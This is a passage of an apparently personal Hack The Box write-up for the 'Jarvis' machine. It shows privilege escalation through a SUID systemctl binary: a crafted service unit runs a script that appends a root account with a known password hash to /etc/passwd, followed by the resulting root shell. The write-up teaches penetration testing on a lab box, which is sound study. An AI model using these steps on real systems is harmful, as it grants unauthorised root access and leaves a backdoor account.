pepper@jarvis:~$



We owned user.

Systemctl: suid –> Root Shell –> Root Flag

When I checked the suid binaries I saw systemctl :

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

pepper@jarvis:~$ find / -perm -4000 2>/dev/null

/bin/fusermount

/bin/mount

/bin/ping

/bin/systemctl

/bin/umount

/bin/su

/usr/bin/newgrp

/usr/bin/passwd

/usr/bin/gpasswd

/usr/bin/chsh

/usr/bin/sudo

/usr/bin/chfn

/usr/lib/eject/dmcrypt-get-device

/usr/lib/openssh/ssh-keysign

/usr/lib/dbus-1.0/dbus-daemon-launch-helper

pepper@jarvis:~$



systemctl may be used to introspect and control the state of the “systemd” system and service manager. -man7.org

To verify that it can be abused I checked gtfobins and found a page for it.

We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl to enable and start it and the file will get executed as root.

I created a service that executes /dev/shm/root.sh :

1

2

3

4

5

6

7

8

[Unit]

Description=pwned



[Service]

ExecStart=/dev/shm/root.sh



[Install]

WantedBy=multi-user.target



And I created /dev/shm/root.sh which echoes:

1

rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash



to /etc/passwd to enable us to su as root with the credentials rooot : AAAA . (Check Ghoul).

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

pepper@jarvis:/dev/shm$ nano root.service

pepper@jarvis:/dev/shm$ cat root.service

[Unit]

Description=pwned



[Service]

ExecStart=/dev/shm/root.sh



[Install]

WantedBy=multi-user.target

pepper@jarvis:/dev/shm$ nano root.sh

pepper@jarvis:/dev/shm$ chmod +x root.sh

pepper@jarvis:/dev/shm$ cat root.sh

#!/bin/bash

echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd

pepper@jarvis:/dev/shm$



I enabled the service and started it:

1

2

3

4

5

pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service

Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.

Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.

pepper@jarvis:/dev/shm$ systemctl start root.service

pepper@jarvis:/dev/shm$



Now if we check /etc/passwd we’ll see that it has been modified:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

pepper@jarvis:/dev/shm$ cat /etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false

systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false

systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false

systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

_apt:x:104:65534::/nonexistent:/bin/false

messagebus:x:105:110::/var/run/dbus:/bin/false

pepper:x:1000:1000:,,,:/home/pepper:/bin/bash

mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false

sshd:x:107:65534::/run/sshd:/usr/sbin/nologin

rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash

pepper@jarvis:/dev/shm$



1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

pepper@jarvis:/dev/shm$ su rooot

Password:

root@jarvis:/dev/shm# id

uid=0(root) gid=0(root) groups=0(root)

root@jarvis:/dev/shm# whoami

root

root@jarvis:/dev/shm# cd /root/

root@jarvis:~# ls -al

total 52

drwx------ 6 root root 4096 Mar 5 2019 .

drwxr-xr-x 23 root root 4096 Mar 3 2019 ..

lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null

-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc

drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache

-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh

drwxr-xr-x 3 root root 4096 Mar 3 2019 .config

drwxr-xr-x 3 root root 4096 Mar 3 2019 .local

lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null

drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano

-rw-r--r-- 1 root root 148 Aug 17 2015 .profile

lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null

-r-------- 1 root root 33 Mar 5 2019 root.txt

-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor

-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py

root@jarvis:~#





And we owned root !

That’s it , Feedback is appreciated !

Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham

Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Haystack

Next Hack The Box write-up : Hack The Box - Networked